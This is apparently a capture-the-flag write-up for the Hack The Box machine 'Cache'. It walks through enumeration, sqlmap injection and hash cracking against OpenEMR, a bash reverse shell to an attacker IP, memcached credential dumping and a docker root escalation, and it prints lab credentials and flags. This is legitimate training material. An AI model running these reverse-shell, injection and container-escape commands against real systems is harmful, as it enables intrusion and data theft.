I have to say I really enjoyed this machine. Cache starts with finding soms credentials, exploiting the OpenEMR webapplication and getting root by using a Docker GTFOBin. Cache really is a good educational box.
[0x1] Recoinnaissance & Enumeration
The first step in the process is the portscan. Let’s see what we have to work with this time. Port 22 shows an OpenSSH service, and port 80 a webser based on Apache.
nmap -A -p- -oA cache-allports cache.htb Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-23 10:56 BST Nmap scan report for cache.htb (10.10.10.188) Host is up (0.018s latency). rDNS record for 10.10.10.188: cache Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a9:2d:b2:a0:c4:57:e7:7c:35:2d:45:4d:db:80:8c:f1 (RSA) | 256 bc:e4:16:3d:2a:59:a1:3a:6a:09:28:dd:36:10:38:08 (ECDSA) |_ 256 57:d5:47:ee:07:ca:3a:c0:fd:9b:a8:7f:6b:4c:9d:7c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Cache No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 587/tcp) HOP RTT ADDRESS 1 14.85 ms 10.10.14.1 2 14.94 ms cache (10.10.10.188) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 41.19 seconds
Since there is a website present, I start to check it out to see what it is running. It’s a custom website giving some info about hacking. It does include an option to Log In.
[0x2] Inital Foothold
I tried to use SQLinjection but the log in box is not vulnerable to that. So there must be another path to gain access.
I also run a DIRB on a website to see if there are some hidden gems. In this case there are. DIRB finds three additional directories for me to check out.
dirb http://cache.htb ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Aug 23 11:23:34 2020 URL_BASE: http://cache.htb/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://cache.htb/ ---- + http://cache.htb/index.html (CODE:200|SIZE:8193) ==> DIRECTORY: http://cache.htb/javascript/ ==> DIRECTORY: http://cache.htb/jquery/ + http://cache.htb/server-status (CODE:403|SIZE:274) ---- Entering directory: http://cache.htb/javascript/ ---- ==> DIRECTORY: http://cache.htb/javascript/jquery/ ---- Entering directory: http://cache.htb/jquery/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://cache.htb/javascript/jquery/ ---- + http://cache.htb/javascript/jquery/jquery (CODE:200|SIZE:268026) ----------------- END_TIME: Sun Aug 23 11:27:14 2020 DOWNLOADED: 13836 - FOUND: 3
The first directory that DIRB found is forbidden to access. So that one gets taken of the list of usefull things for now.
The jquery directory looks more promising and shows the presents of a Javascript file. This looks to be present here intentionally.
The Javascript file constains a check for a valid password, but also conatains the actual password. One function deeper it does the same for the username.
$(function(){ var error_correctPassword = false; var error_username = false; function checkCorrectPassword(){ var Password = $("#password").val(); if(Password != 'H@v3_fun'){ alert("Password didn't Match"); error_correctPassword = true; } } function checkCorrectUsername(){ var Username = $("#username").val(); if(Username != "ash"){ alert("Username didn't Match"); error_username = true; } } $("#loginform").submit(function(event) { /* Act on the event */ error_correctPassword = false; checkCorrectPassword(); error_username = false; checkCorrectUsername(); if(error_correctPassword == false && error_username ==false){ return true; } else{ return false; } }); });
With my new found credentials (ash/H@v3_fun) I try to log in to the website. It works, but there is only a under construction page after that. Bummer, but maybe there is another clue somewhere.
On the Author page of Ash there is a sentence which says “Check out his other projects like Cache: HSM (hospital Management System).
I added a line to my hostfile to try and see if hms.htb would work on the same IP-address. It acutally did and gave another webapplication on the same host called OpenEMR.
I searched on Google to find a way to check the version of OpenEMR and found that it should have a admin.php page showing the current version. It was there and told me that it was running OpenEMR 5.0.1.
I checked Searchsploit to see if there are any known vulnerabilities in OpenEMR. Well, how much do you need? The listing shows that this particulair version has a few known vulnerabilities.
searchsploit openemr --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path --------------------------------------------------------------------------------------------------------------------------- --------------------------------- OpenEMR - 'site' Cross-Site Scripting | php/webapps/38328.txt OpenEMR - Arbitrary '.PHP' File Upload (Metasploit) | php/remote/24529.rb OpenEMR 2.8.1 - 'fileroot' Remote File Inclusion | php/webapps/1886.txt OpenEMR 2.8.1 - 'srcdir' Multiple Remote File Inclusions | php/webapps/2727.txt OpenEMR 2.8.2 - 'Import_XML.php' Remote File Inclusion | php/webapps/29556.txt OpenEMR 2.8.2 - 'Login_Frame.php' Cross-Site Scripting | php/webapps/29557.txt OpenEMR 3.2.0 - SQL Injection / Cross-Site Scripting | php/webapps/15836.txt OpenEMR 4 - Multiple Vulnerabilities | php/webapps/18274.txt OpenEMR 4.0 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/36034.txt OpenEMR 4.0.0 - Multiple Vulnerabilities | php/webapps/17118.txt OpenEMR 4.1 - '/contrib/acog/print_form.php?formname' Traversal Local File Inclusion | php/webapps/36650.txt OpenEMR 4.1 - '/Interface/fax/fax_dispatch.php?File' 'exec()' Call Arbitrary Shell Command Execution | php/webapps/36651.txt OpenEMR 4.1 - '/Interface/patient_file/encounter/load_form.php?formname' Traversal Local File Inclusion | php/webapps/36649.txt OpenEMR 4.1 - '/Interface/patient_file/encounter/trend_form.php?formname' Traversal Local File Inclusion | php/webapps/36648.txt OpenEMR 4.1 - 'note' HTML Injection | php/webapps/38654.txt OpenEMR 4.1.1 - 'ofc_upload_image.php' Arbitrary File Upload | php/webapps/24492.php OpenEMR 4.1.1 Patch 14 - Multiple Vulnerabilities | php/webapps/28329.txt OpenEMR 4.1.1 Patch 14 - SQL Injection / Privilege Escalation / Remote Code Execution (Metasploit) | php/remote/28408.rb OpenEMR 4.1.2(7) - Multiple SQL Injections | php/webapps/35518.txt OpenEMR 5.0.0 - OS Command Injection / Cross-Site Scripting | php/webapps/43232.txt OpenEMR 5.0.1 - Remote Code Execution | php/webapps/48515.py OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py OpenEMR Electronic Medical Record Software 3.2 - Multiple Vulnerabilities | php/webapps/14011.txt Openemr-4.1.0 - SQL Injection | php/webapps/17998.txt --------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
I searched on Google to see if there are any articles about how to exploit the vulnerabilities. I came across a nice video that demonstrated the use of an SQL injection to read the contents of the database. It is very well demonstrated which helped me to repeat the steps the author took.
The SQL injection is being used on the Patient Portal of OpenEMR, which can be found on http://hsm.htb/portal
The first thing I needed to do is start the create user form, switch to a different page, and grab the request it makes with BurpSuite. This request is the base for further exploiting the SQL injection, as you can see below.
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1 Host: hms.htb User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: OpenEMR=jsb4m6i7m5a75littufel3irne; PHPSESSID=pkj7sa0998b8camg088jlap7pf Upgrade-Insecure-Requests: 1
Armed with the request I go to SQLmap to launch the attack and see if the webapplication is indeed vulnerable.
sqlmap -r openemr_add_edit_event_user-request.txt --threads=10 --dbs ___ __H__ ___ ___[.]_____ ___ ___ {1.4.6#stable} |_ -| . ['] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 12:55:26 /2020-08-23/ [12:55:26] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt' [12:55:33] [INFO] testing connection to the target URL [12:55:33] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with the results of the tests [12:55:33] [INFO] checking if the target is protected by some kind of WAF/IPS [... clip ...] [13:01:55] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads') back-end DBMS: MySQL >= 5.1 [13:01:55] [INFO] fetching database names [13:01:55] [INFO] starting 2 threads [13:01:55] [INFO] retrieved: 'information_schema' [13:01:55] [INFO] retrieved: 'openemr' available databases [2]: [*] information_schema [*] openemr
So the result of this SQl injection, which works, is the name of the two databases running on the machine. Since information_schema is a system database, I only have to work with openemr.
I relaunch SQLmap based on the newely quired databasename.
sqlmap -r openemr_add_edit_event_user-request.txt --threads=10 -D openemr --tables ___ __H__ ___ ___[']_____ ___ ___ {1.4.6#stable} |_ -| . [,] | .'| . | |___|_ [']_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 13:05:22 /2020-08-23/ [13:05:22] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt' [13:05:31] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.1 [13:05:31] [INFO] fetching database names [13:05:31] [INFO] starting 2 threads Database: openemr [234 tables] +---------------------------------------+ | array | | groups | | sequences | | version | | addresses | | amc_misc_data | | amendments | | amendments_history | | ar_activity | | ar_session | | audit_details | | audit_master | [... clip ...] | transactions | | user_settings | | users | | users_facility | | users_secure | | valueset | | voids | | x12_partners | +---------------------------------------
A lot of tables are the result of the new SQLmap run. I checked some of them that looked interesting. In the end the only one containing useful stuff is users_secure. So this time I do a SQLmap run with the database and table specified.
sqlmap -r openemr_add_edit_event_user-request.txt -D openemr -T users_secure --dump ___ __H__ ___ ___[)]_____ ___ ___ {1.4.6#stable} |_ -| . [,] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [*] starting @ 13:11:00 /2020-08-23/ [13:11:00] [INFO] parsing HTTP request from 'openemr_add_edit_event_user-request.txt' [13:11:03] [INFO] fetching columns for table 'users_secure' in database 'openemr' [... clip ...] Database: openemr Table: users_secure [1 entry] +------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+ | id | salt | username | password | last_update | salt_history1 | salt_history2 | password_history1 | password_history2 | +------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+ | 1 | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | 2019-11-21 06:38:40 | NULL | NULL | NULL | NULL | +------+--------------------------------+---------------+--------------------------------------------------------------+---------------------+---------------+---------------+-------------------+-------------------+
And run contains a nice account name and password hash. Not useable at this moment, since the password is not stored in clear text, but that’s an issue that my dear friend John can fix. I place the username:password combination in a textfile to crack. After a minute or so I got the password back: xxxxxx.
john openemr_admin_hash.txt --wordlist /usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) No password hashes left to crack (see FAQ) john --show openemr_admin_hash.txt openemr_admin:xxxxxx
Now I have an account I can use the Remote Code Execution exploit I found on Searchsploit earlier. Before running the exploit I start a Netcat listener on my machine to catch the incomming connection.
rlwrap netcat -lvnp 1337 listening on [any] 1337 ...
Just launch the Python exploit, provide the credentials and run a reverse bash connection to my machine. This should give me a shell on Cache.
python 45161.py http://hms.htb -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.64/1337 0>&1''' .---. ,---. ,---. .-. .-.,---. ,---. / .-. ) | .-.\ | .-' | \| || .-' |\ /|| .-.\ | | |(_)| |-' )| `-. | | || `-. |(\ / || `-'/ | | | | | |--' | .-' | |\ || .-' (_)\/ || ( \ `-' / | | | `--.| | |)|| `--.| \ / || |\ \ )---' /( /( __.'/( (_)/( __.'| |\/| ||_| \)\ (_) (__) (__) (__) (__) '-' '-' (__) ={ P R O J E C T I N S E C U R I T Y }= Twitter : @Insecurity Site : insecurity.sh [$] Authenticating with openemr_admin:xxxxxx [$] Injecting payload
And there it is, a shell as www-data. Now for that User flag.
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.188] 47484 bash: cannot set terminal process group (1821): Inappropriate ioctl for device bash: no job control in this shell www-data@cache:/var/www/hms.htb/public_html/interface/main$
[0x3] Path to User flag
First thing I do is grabbing LinPeas from my machine to enumerate Cache.
wget http://10.10.14.64:8000/linpeas.sh --2020-08-23 13:21:23-- http://10.10.14.64:8000/linpeas.sh Connecting to 10.10.14.64:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 144338 (141K) [text/x-sh] Saving to: 'linpeas.sh' 0K .......... .......... .......... .......... .......... 35% 1.06M 0s 50K .......... .......... .......... .......... .......... 70% 2.33M 0s 100K .......... .......... .......... .......... 100% 9.88M=0.07s 2020-08-23 13:21:23 (1.93 MB/s) - 'linpeas.sh' saved [144338/144338]
I filtered the output to see the interesting stuff LinPeas found.. I noticed that Memchached and Docker are running on the machine. Let’s focus on Memcached.
www-data@cache:/tmp$ ./linpeas.sh ./linpeas.sh Linux Privesc Checklist: https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist LEGEND: RED/YELLOW: 99% a PE vector RED: You must take a look at it LightCyan: Users with console Blue: Users without console & mounted devs Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) LightMangenta: Your username ====================================( Basic information )===================================== OS: Linux version 4.15.0-109-generic (buildd@lgw01-amd64-010) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data) Hostname: cache Writable folder: /dev/shm [+] /bin/ping is available for network discovery (linpeas can to discover hosts, learn more with -h) [+] /bin/nc is available for network discover & port scanning (linpeas can discover hosts and scan ports, learn more with -h) ====================================( System Information )==================================== [+] Operative system [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits Linux version 4.15.0-109-generic (buildd@lgw01-amd64-010) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #110-Ubuntu SMP Tue Jun 23 02:39:32 UTC 2020 Distributor ID: Ubuntu Description: Ubuntu 18.04.2 LTS Release: 18.04 Codename: bionic ================================( Processes, Cron & Services )================================ [+] Cleaned processes [i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 885 0.1 1.6 931116 68328 ? Ssl 09:59 0:16 /usr/bin/dockerd -H fd:// memcache 943 0.0 0.0 425792 3968 ? Ssl 09:59 0:02 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid root 992 0.0 0.9 809348 40072 ? Ssl 09:59 0:02 /usr/bin/containerd [+] Services [i] Search for outdated versions [ - ] acpid [ + ] apache-htcacheclean [ + ] apache2 [ + ] dbus [ + ] docker [ + ] ebtables [ + ] grub-common [ - ] hwclock.sh [ - ] mdadm [ - ] mdadm-waitidle [ + ] memcached [ + ] mysql [ - ] open-iscsi [ + ] open-vm-tools
While I was looking for some more information about the possibilities to use Memcached during Pentesting testing I came across a blog post explaining how to read data stored in the cache by Memcached. I used the commands to see if anything useful could be found in the cache. Memcached only listens locally on port 11211 on this server, which can be opened via telnet.
www-data@cache:/var/www/hms.htb/public_html/interface/main$ netstat -ano netstat -ano Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.1:11211 0.0.0.0:* LISTEN off (0.00/0/0)
</public_html/interface/main$ telnet 127.0.0.1 11211 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'.
Good, there is a connection. First, check whether the output is also given by means of the version command. Immediately after entering I get the version of Memcached back on Ubuntu.
version VERSION 1.5.6 Ubuntu
The stats command shows that data is present in the cache. With this, we can continue to search.
stats STAT pid 943 STAT uptime 12708 STAT time 1598189450 STAT version 1.5.6 Ubuntu STAT libevent 2.1.8-stable STAT pointer_size 64 [.. clip ..] STAT bytes_read 32318 STAT bytes_written 8469 STAT limit_maxbytes 67108864 STAT accepting_conns 1 STAT listen_disabled_num 0 STAT time_in_listen_disabled_us 0 STAT threads 4 STAT conn_yields 0 STAT hash_power_level 16 STAT hash_bytes 524288 STAT hash_is_expanding 0 END
Memcached uses so-called slabs for allocating and storing data. The stats items command displays all items listed on slab. In this case, it is clearly visible that there is only 1 slab that can contain interesting information.
stats items STAT items:1:number 5 STAT items:1:number_hot 0 STAT items:1:number_warm 0 STAT items:1:number_cold 5 STAT items:1:age_hot 0 STAT items:1:age_warm 0 STAT items:1:age 34 STAT items:1:evicted 0 STAT items:1:evicted_nonzero 0 STAT items:1:evicted_time 0 STAT items:1:outofmemory 0 STAT items:1:tailrepairs 0 STAT items:1:reclaimed 0 STAT items:1:expired_unfetched 0 STAT items:1:evicted_unfetched 0 STAT items:1:evicted_active 0 STAT items:1:crawler_reclaimed 0 STAT items:1:crawler_items_checked 80 STAT items:1:lrutail_reflocked 0 STAT items:1:moves_to_cold 1065 STAT items:1:moves_to_warm 0 STAT items:1:moves_within_lru 0 STAT items:1:direct_reclaims 0 STAT items:1:hits_to_hot 0 STAT items:1:hits_to_warm 0 STAT items:1:hits_to_cold 0 STAT items:1:hits_to_temp 0 END
With only 1 slabs in cache, it is easy to dump all the data housed in the slab. The content is displayed by means of the command stats cachedump 1 0. The 1 stands for the ID of the slab and the 0 for all data.
There are two very interesting items in this slab, namely user and password
stats cachedump 1 0 ITEM link [21 b; 0 s] ITEM user [5 b; 0 s] ITEM passwd [9 b; 0 s] ITEM file [7 b; 0 s] ITEM account [9 b; 0 s] END
Now it is just a matter of reading the values for both items. This can easily be done by using the command get. From this, we get a nice set of credentials, namely the username: luffy and the password: 0n3_p1ec3.
get user VALUE user 0 5 luffy END get passwd VALUE passwd 0 9 0n3_p1ec3 END
While looking around the machine I came across the name “luffy” and “ash” in / home. Chances are that ash’s previously found password will come in handy. First try to sign up with luffy via SSH, because it was not possible via ash’s account.
The log in with Luffy’s credentials work like a charm.
luffy@cache.htb The authenticity of host 'cache.htb (10.10.10.188)' can't be established. ECDSA key fingerprint is SHA256:/qQ34g2zzGVlmbMIKeD7JhlhDf/SPzgYFz000v+3KBI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'cache.htb,10.10.10.188' (ECDSA) to the list of known hosts. luffy@cache.htb's password: Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-109-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun Aug 23 13:38:59 UTC 2020 System load: 0.02 Processes: 176 Usage of /: 74.5% of 8.06GB Users logged in: 0 Memory usage: 23% IP address for ens160: 10.10.10.188 Swap usage: 0% IP address for docker0: 172.17.0.1 Last login: Wed May 6 08:54:44 2020 from 10.10.14.3
A shell like luffy, which according to the output of id is a member of the group “Docker“. If that’s not a coincidence …
luffy@cache:~$ whoami luffy luffy@cache:~$ id uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker) luffy@cache:~$
First I check if I can read the user.txt as luffy. Unfortunately, no rights. Since the file is in Ash’s home folder, I try to read it through his account. This is possible and with this Ash’s previously found password still comes in handy. The user flag has arrived!
luffy@cache:/home/ash$ su ash Password: ash@cache:~$ ls Desktop Documents Downloads Music Pictures Public user.txt ash@cache:~$ cat user.txt 7694bb4e8436c16405c8bf1080cae0f7
Back to Luffy and the Docker story. I know there is a post about Docker in GTFOBins and it talks about a method to get a root shell easily. All it takes is the name of an image. In the example this is Alpine.
By means of the docker images command I see that there is only 1 image with the name ubuntu. This is the only info I need to try the root shell.
luffy@cache:/home/ash$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE ubuntu latest 2ca708c1c9cc 11 months ago 64.2MB
I run the command and immediately get an empty prompt. This looks fine and I just check id, whoami and hostname to see if it worked. After that, it’s just a matter of grabbing the root flag (I think).
luffy@cache:/home/ash$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh # id uid=0(root) gid=0(root) groups=0(root) # whoami root # hostname 5f015ca20e23
Whoop Whoop! There we have the root flag. This makes Cache officially rooted.
# cat /root/root.txt d5e2898c61830044967aa0c34a8a962b